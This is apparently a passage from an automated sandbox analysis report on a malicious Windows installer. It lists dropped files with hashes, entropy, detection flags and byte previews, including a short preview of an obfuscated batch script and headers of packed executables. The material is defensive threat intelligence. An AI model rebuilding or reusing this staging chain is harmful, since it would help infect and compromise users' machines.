Preview:	.9.....<..4.M......w.WT[......I\|....[.t.s... .=.=.n;..@.W.,..1.X..3.q'.e..o..:.....#.@4.d1..G.cP.ci..-...I.!.M..wDB..~v...?#-.....3.h...x)..zf..... Ms..._.....N....K).B.a..BD.[=.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....E.;.'.F...h..............`..X0.X.`..X0.XkC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..*)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..t.&..,P..Myn.2..t.W....L...ER.......`.....X.`..X0.Xm......@.rx.5...x..2).U.j....2>..#.~.\|.2.....\|....Tn..u,....\|..#..P.G..c....S9-.../?Q;...@......gYgD.~g......- . ..v......o..E..Vb..lsx..0..1......E0..?H].zu.".OQ.<.u,...c.M....Vm.bp..5K...Xy....;^.....=z...{.be..l...\|..ZO.$.......4.....o.J..$..S...Q...<@g............_.TT"@c.2e...\|#..='..ei2O$.S7. .v%r.Jj2....6.....E.h.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Separated

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	77885
Entropy (8bit):	7.0550793007552866
Encrypted:	false
SSDEEP:	1536:gWyu0uZo2+9BGmdATGODv7xvTphAiPChgZ2kOE6:gWy4ZNoGmROL7F1G7ho2kOb
MD5:	BFFA3DD025640BDEC6090D5DD3D38113
SHA1:	7D337740F2770ED993DEFE04306F4A7A539BA5F1
SHA-256:	9A010CFF7FD75DDE636A7F57CAA6A5DBA39F4D70A47B001649108B64DB468FD7
SHA-512:	F66365C07E4615FE0120C30963B79564B6F4910B6D6C87B521A017EA516A267E1B69214A338890DA60E2DB3FCCA9A870DA5D54E6F8A54D5D427C5A182FB620CA
Malicious:	false
Preview:	.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................K..55/.K ......................<........<...................P..............R................................Q................................Q................................P...........................................................................LMMMNG.MMMMMMMMMMMMO.< .........GH...8IJ..........0...K..........BC...DE3....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ship

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	78848
Entropy (8bit):	6.174602143454189
Encrypted:	false
SSDEEP:	1536:gvMVpYhWoXElJUzdlDfFgQa8BpDzdZPp7HE+tKA3QkvyNf7Xw2U0pkzUWBh2zGcI:gkjGWoUlJUPdgQa8Bp/LxyA3laW2UDQg
MD5:	8DECE92D979E5BBC9DD451697E48F590
SHA1:	9E754FEA613333DBA614E7C1520B86549AB11B2E
SHA-256:	DF5AB9E37061FD2C62BB8FDF438312DDDA9D0FE6E8F6FBA0C537AFD8C4580A37
SHA-512:	03F3F9AE3DBB4B49B4DBB1AA2A1340A274BEC9E9A1025C67003102093CB9E4A140BE090A11A8C8AC51D4BC9A7209D5E436B853B489D4E3C7AAC5145E9B4E0B7E
Malicious:	false
Preview:	...............u........F..E.;5.3M....O.......O......5.4M....O...F.3......T$0.T$8.L$<...D$@.T$..T$...@..........E...PV.....t$8....E....T$0.L$<.T$...........D$<.....D$0........................L.............H......3._^..]......x..u9.x.....I...3.+.........B........w...>..\|....B..;G....B...v..;......y.....B...H....9.....3u.V...h....*....=.(M....G....B..H..~..TM.......@..$...@..D$0..P.D$.PVj..u9...........N..D$....f.x.........)M...D$c..P.D$4P.D$ PVj.......F....F..8....M..j.V.<.......D$8........j.j.j.j...$..........P....I.............$.......$........@.....)M......S@....$......(M.P......u...$....P..T.I...$....P..L.I.j.j.j.j...$....P....I.....h....j...\|.I........t........J.....\|.......;.....sy................\M....$............e?.....<......................j.....I..5.#M...<.I..5..I...$4...j.j.j.P..........O............L...L..............O...........3....$. .@...@...@.p=E...@..>E....................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Smell

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	2083
Entropy (8bit):	5.071411434909782
Encrypted:	false
SSDEEP:	48:79n9mTsCNvEQH5O5U1nPKrhBzM1FoMPhfq1J:pSEA5O5W+MfH5S7
MD5:	28169287A48D94FC24E839388F769275
SHA1:	32BE0226B49CE503033F0F3194B16204EAF61FC6
SHA-256:	CEF1855CF99E444F5570534A0D7BC3388F0A898B61D58B480690CC341B217032
SHA-512:	F01DBE60C74F16E31ED9420AFC5F0644EE51FC05C11A04A31CC7980E20B782729766FB160E2F095B26642D5DF99F657D66E5D13B08E72182A2C67139C48F6683
Malicious:	false
Preview:	uploaded........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Symphony

Download File

Process:	C:\Users\user\Desktop\installer_1.05_36.8.exe
File Type:	ASCII text, with very long lines (892), with CRLF line terminators
Category:	dropped
Size (bytes):	19378
Entropy (8bit):	5.115217331126754
Encrypted:	false
SSDEEP:	384:H5zFU8scvSl1A4MVPE5Zu1FmuG/Pg/Zdot7gteXuc8F+TNepk/G31OVO/DmS8xSe:HtW9iSl1AfFAg/DotEt+uc8F+TNokO3q
MD5:	216C911A9E37E1E31E5660BC6C064BF7
SHA1:	6E5B3BFD5F4F14FA68694703E0F62BB2185B9A60
SHA-256:	705626E965A28111CBF72346E4390F4E1F5FF9B79F0EC21E66D629B67EA89F5C
SHA-512:	90E28F5D2545D66E7461E9A6FF7E47C17611365DD970170A1C56AA17B75A84DF9E750C20E4AC2EFF49E7AFDEEA989218659A83D985FDA6F905E4F195614A113D
Malicious:	false
Preview:	Set Stickers=9..rOGate-Type-Polish-Keeping-Decades-Gm-..mvkpStrengthen-Enlargement-Movie-..DXPjMeasurement-Thrown-Granted-Ontario-Latex-Tiger-Karl-..GVMh-Burden-Butter-Marketplace-Phd-..xXtXLeaves-Comparable-Notices-..HzSept-Buf-..BWAlternative-Dynamic-Sunrise-Recruitment-Julie-Electrical-Extreme-Site-..Set Salad=G..yOVIDead-Groundwater-Seem-..iZsUNail-..kKConsensus-Saying-Measurements-Leslie-Prozac-Going-Entities-Gentleman-How-..bXMMEducational-Considering-Mid-..kuTTitten-Breakdown-Analyses-..cTJBShareware-Exists-Ear-Counted-Marriott-Drawn-Cord-..WSTel-Listprice-Continually-Developments-Next-Oc-Remind-Grande-Really-..Set Diploma=t..eBBw-Or-Donate-Colors-Bm-Essentially-Adopt-..aMABradford-Shark-..BANWaiver-..oWniRestore-Statistical-Disability-Derek-Raymond-Hc-Pottery-..LIMembership-Treo-Clean-..ljSchedules-Populations-Outline-..ZgwAMentioned-..YJPeMeeting-Clinics-Both-Breasts-..Set Overhead=w..YfJHans-Enterprise-..LbAdults-Sb-Google-Sink-Rehab-Likelihood-Joe-Exceed-..UwBegun-..mNQuarte

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Symphony.cmd (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (892), with CRLF line terminators
Category:	dropped
Size (bytes):	19378
Entropy (8bit):	5.115217331126754
Encrypted:	false
SSDEEP:	384:H5zFU8scvSl1A4MVPE5Zu1FmuG/Pg/Zdot7gteXuc8F+TNepk/G31OVO/DmS8xSe:HtW9iSl1AfFAg/DotEt+uc8F+TNokO3q
MD5:	216C911A9E37E1E31E5660BC6C064BF7
SHA1:	6E5B3BFD5F4F14FA68694703E0F62BB2185B9A60
SHA-256:	705626E965A28111CBF72346E4390F4E1F5FF9B79F0EC21E66D629B67EA89F5C
SHA-512:	90E28F5D2545D66E7461E9A6FF7E47C17611365DD970170A1C56AA17B75A84DF9E750C20E4AC2EFF49E7AFDEEA989218659A83D985FDA6F905E4F195614A113D
Malicious:	false
Preview:	Set Stickers=9..rOGate-Type-Polish-Keeping-Decades-Gm-..mvkpStrengthen-Enlargement-Movie-..DXPjMeasurement-Thrown-Granted-Ontario-Latex-Tiger-Karl-..GVMh-Burden-Butter-Marketplace-Phd-..xXtXLeaves-Comparable-Notices-..HzSept-Buf-..BWAlternative-Dynamic-Sunrise-Recruitment-Julie-Electrical-Extreme-Site-..Set Salad=G..yOVIDead-Groundwater-Seem-..iZsUNail-..kKConsensus-Saying-Measurements-Leslie-Prozac-Going-Entities-Gentleman-How-..bXMMEducational-Considering-Mid-..kuTTitten-Breakdown-Analyses-..cTJBShareware-Exists-Ear-Counted-Marriott-Drawn-Cord-..WSTel-Listprice-Continually-Developments-Next-Oc-Remind-Grande-Really-..Set Diploma=t..eBBw-Or-Donate-Colors-Bm-Essentially-Adopt-..aMABradford-Shark-..BANWaiver-..oWniRestore-Statistical-Disability-Derek-Raymond-Hc-Pottery-..LIMembership-Treo-Clean-..ljSchedules-Populations-Outline-..ZgwAMentioned-..YJPeMeeting-Clinics-Both-Breasts-..Set Overhead=w..YfJHans-Enterprise-..LbAdults-Sb-Google-Sink-Rehab-Likelihood-Joe-Exceed-..UwBegun-..mNQuarte

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Topless

Download File

Process:	C:\Users\user\Desktop\installer_1.05_36.8.exe
File Type:	data
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	7.996637160592414
Encrypted:	true
SSDEEP:	1536:J4oqAfAT+vVv9keeAMbDHsQoZAdBsCFVNBuGBB8Swe:JbqAVVkAMBoZAd33uGBR
MD5:	8C314F238D6A342215DAC20A1D9B079B
SHA1:	C7CAF344FA1CE67A3C329731DE7887746AD93AC9
SHA-256:	849F35166B415F3D49680392ECF1284010A64448687CDDD0870772EA94EA8C39
SHA-512:	039D5EB052F8BB81FA9A3F92D13820B7D52998DE651EE45B6B7DB3AC762C299CD475486E0B440A96CBDF6FF7A0068779578BFC3265C24B98E03552665C691854
Malicious:	false
Preview:	...".M...Z.{SH.......?e.h...J...t<4]4S..8..B}.'.gy..1....../@Z. (..U./......$.:.h.dN..F.R.k0.$..^.1s.o.\|:,.3......y..6KC..Q%...gY...,..5,..7.v\._.b;...S]%.<.t#....Y.......,/....G... ..c....A......N..%}!..n...Z?I...?.-......l;.t..7o..N.a..}......`...Ykn#...zSy.:](<....NK.U...9.y.=8(...N....C...l.....Ms..8.v.~....Nm.H6\|.....2...{..N.8%.#..g..HD.t.<.......T..#....9.,.... .VD...t'..~a.s.q!.Y/F>.S8..\|.X.].^../f.../..{..S..........5`X=2..........3.JW^.T...J......s9..Y.H.m....P.#..(.lP....z.d+....MB[!....7..T.q..G..X4.A.?.+{6......=LV.P\|[7..."U}M8..8.~OT8jQs.5.:>....>.&....%..x..z.5.6.iF..B\|x.l0_..;.4&I.b...H.'..>...+..S.......z.5r.#<.r.X.{G...)0...#V.....8W.`k._5 .z.O.#..L.R....iv:.`......._K......=F.G8{.\|..+...`.(.Y..c/y\|..9..e.Y......x.+@.0.y...k...}...(.L.o...@..!.....W......w.....g.?....Q.W....<..k...]}ou.&.V...m..^...5..c..%}~=. .oFT0.>...@.O....&..;g.\.\|O...~1...&.'.Z........Y.)M..{...e.....q.tW.qG.[.!...,.g..f'.".T$.......mQ/.^.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Vancouver

Download File

Process:	C:\Users\user\Desktop\installer_1.05_36.8.exe
File Type:	data
Category:	dropped
Size (bytes):	52224
Entropy (8bit):	7.996689045177283
Encrypted:	true
SSDEEP:	768:0j+gvP/Ao0HjdNLv2ZR0Fk1z+wrZOgclZ46Ei++U16bESueQv7wlaciXTkS4mp:ovHoOf916elcI6ThU1yQzwlFSj
MD5:	4BBB05B6DC059FF0DDF3D4E98BE07974
SHA1:	1B5AF37C41F73E5FA75BD946DD123F0A072A4236
SHA-256:	37F0CF1104AB49803068D87CF532C5E3603D8715A6EA09217AA60E66132FA4C0
SHA-512:	B248CE37D7673BF1BB114FDFF0EB5888192A7F3AD6007B6FADA51FCBC1508B7855C18A9949CB995F41FBD3A790A2AF2AFE91370320F59D91595895BB20F791DB
Malicious:	false
Preview:	..z"...o'.g.#9.A.p$As.a.}.(m..Mh.Y..kY..i8oxs.O............L...m..s .JLo..n.t.....s.}/....+...j..}.C..9Z.7...}.... .....<...U.j%..>"....\|.i..8X......N....Y.sy..y.M.q.5.........Dp.#....t0wWM..<..C>bn5;...Hp.QE.pD.B.\|"..1b.\t...7@.OA92Ug....kN..]k.V.\>..X.......Y.)...%.!..uU.....,.y.E./...k8.E}.fa`.s......1$..M..K.[.4..'.....1......o...`. .^.R./..Q>..^4.&y.,.p.~..G.Ua.`x.}.P..$(...(.I.s..........J}. .?.n..O.L...OJ..M....K..."s.L.Sx.I....E.......@'...5..^S...........I....c..2y2.0^..'.Wl()\|\..@..}..4...:$\|R.=....c.....6..8O....=s G......b.D....lK.@.+XhV.0.....K@.)s.....17=J..g.5s....aa.@......n....h.].Z... ...w\|D...K...>r...h8p.6.1K.$.#......P3..u..1%.CC9!L.M..f...../}6......y........~...!u..!.pm.35,b.4.m\|.h..71.;,../?S@.N..g....l..#51l..:.wc..M=.L.........{.s.O......s.^.T.V....M.C....\......7.h.}L....r.........7...I.K.#....Q......f..*w..C9.7f..,}....?^...\|R.K.a.^..X....Kx1;.Z..].'...A..h."....z.R..[:...l'..3..z...cr....;.3ANq./b.N.]_..i.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Web

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	92160
Entropy (8bit):	6.668757581458982
Encrypted:	false
SSDEEP:	1536:31rKoUn9r5C03Eq30BcrTrhCX4aVmoJiKwtk2ukC5HRu+OoQjz7nts/M26N7oKzH:sPnj0nEoXnmowS2u5hVOoQ7t8T6pUkB5
MD5:	BEED2C760174E58D26028502F94B8C44
SHA1:	76D01C3C12CDA73A098E55AC3CCE48C2156AC445
SHA-256:	F77376BF49E5B71759CDA1127B2DB5BD4638138461FAF675AC757793A2E0CB69
SHA-512:	022D3ADB491DC5CA27F61AEBF33602183A67897190EBB25CD85E41ABDC24F089651756773405422A26B19EB6B518124D4866FDD93731D39146F5C16AEBFA35C3
Malicious:	false
Preview:	...*.......L.......L.....h.L.....@.L......L.3.......F.jwY..Ff9........p.......}....e...;...]....S...3...!]..]......jwY..F..4F...f;.t.........1L.........1L.jw[.4F..F..4Ff9.t..L.....F.Cj.Y.].f;.t.j.Yf;.t.j...j...j.X........F...........F.....F.j.Y.].f;.t.j.Yf;.u.j...}....E............F.j._f;..."...j._f;...........E..$...E...F......].......E............}...N...V...G$.....G"...O......M............J.M..U..U.P......U.Y.........jwZ..A...Af9.t.U.;.v.;.rY.M.....t.9P.t.....u...uA.u..E.M.M.P.u..U..u.........;.}....E.M..U...@$..A.M.....l......E.....3.j..K.E.....u>..F..U.M.P. .....Y...../...jw_..A...Af99t.}.;.v+;.s'.E.....3.j.X...........w[.....E..$...E..M.....t.9P.t.....u...u..u..E.M.M.P.u..U.W.!.........3...3.@.......F......3.@......T....}...F.jw..G.._..A...Af99t.}.;.v.;.r..M.....t.9P.t.....u...t..E...........u..E.M.M.P.u..U.W.........].........1L..4F.......F.....1L...4N.....j...j.X.4...~.A.z.A.f.E...............E...E...E.....................S.u........YY.........

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulPki/llllZ:NllUcylll
MD5:	D8D47FD6FA3E199E4AFF68B91F1D04A8
SHA1:	788625E414B030E5174C5BE7262A4C93502C2C21
SHA-256:	2D9AF9AB25D04D1CF9B25DB196A988CD6E4124C1B8E185B96F2AB9554F4A6738
SHA-512:	5BFD83D07DC3CB53563F215BE1D4D7206340A4C0AB06988697637C402793146D13CDDE0E27DC8301E4506553D957876AC9D7A7BF3C7431BBDD5F019C17AB0A58
Malicious:	false
Preview:	@...e.................................^..............@..........

C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe

Download File

Process:	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8767044
Entropy (8bit):	7.960152326344281
Encrypted:	false
SSDEEP:	196608:r7B6e1u5SqD6mOefSP01pbtDgGFN6sskirwDODi:roweOFCS8jbtM8N6sjYY
MD5:	51F99EDDD33CC04FB0F55F873B76D907
SHA1:	60CD79359912A9069674CEE3C5C5982A9B01CE82
SHA-256:	16E037D7B5F6A8E02B73671E1214B7979EB5D0AB0FC1106CF4C321F0FF53E13A
SHA-512:	7D2DF781963C8AC8A6F2A86EB95742AA26C932671D31DF8F09E334B2AF5E543EC3FB636ABFA4FB2512EC70126E1B9DB6DC7E9446A2A85BCA53EAFC790668964A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.................t...p....................@.......................................@......@...................p..q....P.......................~..XG...........................................................R..\....`.......................text....V.......X.................. ..`.itext..d....p.......\.............. ..`.data...88.......:...x..............@....bss....Xr...............................idata.......P......................@....didata......`......................@....edata..q....p......................@..@.tls.....................................rdata..]...........................@..@.reloc..............................@..B.rsrc...............................@..@....................................@..@................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3fcnocyc.cbx.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_axm4ssnu.tbr.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\fd96fa9f

Download File

Process:	C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe
File Type:	PNG image data, 3792 x 2093, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	6447207
Entropy (8bit):	7.998441497232368
Encrypted:	true
SSDEEP:	196608:sXKjzP/kSY5cPYsvASGkG9166F/KHaj2M:sXKjrMSY5yPoxv/XL
MD5:	B0CB3F07919BEB69B342ED871C6511A9
SHA1:	C23C0B4F9810D50ECB9EA186F57325C7B41DEEBE
SHA-256:	AB4A4A40AA1C1129150AE38AA4F939EB22B4125F6BE8F12251D7C76239B3F8F3
SHA-512:	75BD57701CAC2BE23A9A63AE414F0E019D7C69523F93B3CE6D908B76CC382D84AB1F1C2B085633D39A8E7294C1879601A1A3B03C5871BA0E35A345F559E06AA4
Malicious:	false
Preview:	.PNG........IHDR.......-.....1S.... .IDATx..;..G....+.U={.. .....H.$..gm........1c...&.r....wm..=...-F...W....ft...Y.........~.3+.....\|....?@@...o......\.._@...c....0.e..o..us).-.9~.4..:.H]..R.#M.K.!...#.s...4..G.c.#Zk.#B.s...p......R...PU....HUU..RJ.......^...Ru]..n...&w.R.WeE.DH.kB...)....!.....cRI.....d.u.....W..j..xw... .e,.....lC`....o=.^ `..d....;.nH..\|k..3..}......'Ts.....D....C..h.{......$.}w.np..h.n1..U9\F..<[...J..\..............c..f.6.g.o......$.1..^z)..8..c$./.\|3...s.9..&.\|...r....L.q..I~{)..>.uw..oY.d../..ksw..P..p.]....T.K1.R..i.........I.9B.....D@@@..a/.?.[ 8.K\|......H..X..T...4.{..c..4..!.^...}X~7.'......uc.$H................\|.{5...Q...,..{..p..]v{....m.]).....[-.{..... !l......V..W k....u....g...$....[%>^.oI.\|.......$.......$.g.@...m.hI~S;.).=...K%..H.T..d"....W.O.J.A..../%..@..J..-...ZW........oz....b.....B..x.1......>q.....[..I>..l...t..I..I..n....s....P..p...C..3..\|.(..<..3r.F7d.#..;..".p..dg.p.#4Mm........}.....A.......

C:\Users\user\AppData\Local\Temp\is-1NSIN.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-1NSIN.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.530011244733973
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	F809F51E678B7F2E388F8C969EF902C8
SHA1:	DC1C645533E0FD1637BF455BA69A9481E7C4B83A
SHA-256:	8D6E5513DE230109BE2238537173352832D1AEBDC7B10FAD0E59D4882812CA81
SHA-512:	C500B40B604AD6203396FCC0243CBB50EAD544586EAB2448C2C6BCC2106DFAE3777A85C344766224F5F695FA60295880623B2A97B0AAE97DC547076FA03CD067
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.530011244733973
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	F809F51E678B7F2E388F8C969EF902C8
SHA1:	DC1C645533E0FD1637BF455BA69A9481E7C4B83A
SHA-256:	8D6E5513DE230109BE2238537173352832D1AEBDC7B10FAD0E59D4882812CA81
SHA-512:	C500B40B604AD6203396FCC0243CBB50EAD544586EAB2448C2C6BCC2106DFAE3777A85C344766224F5F695FA60295880623B2A97B0AAE97DC547076FA03CD067
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-S5E0S.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-S5E0S.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
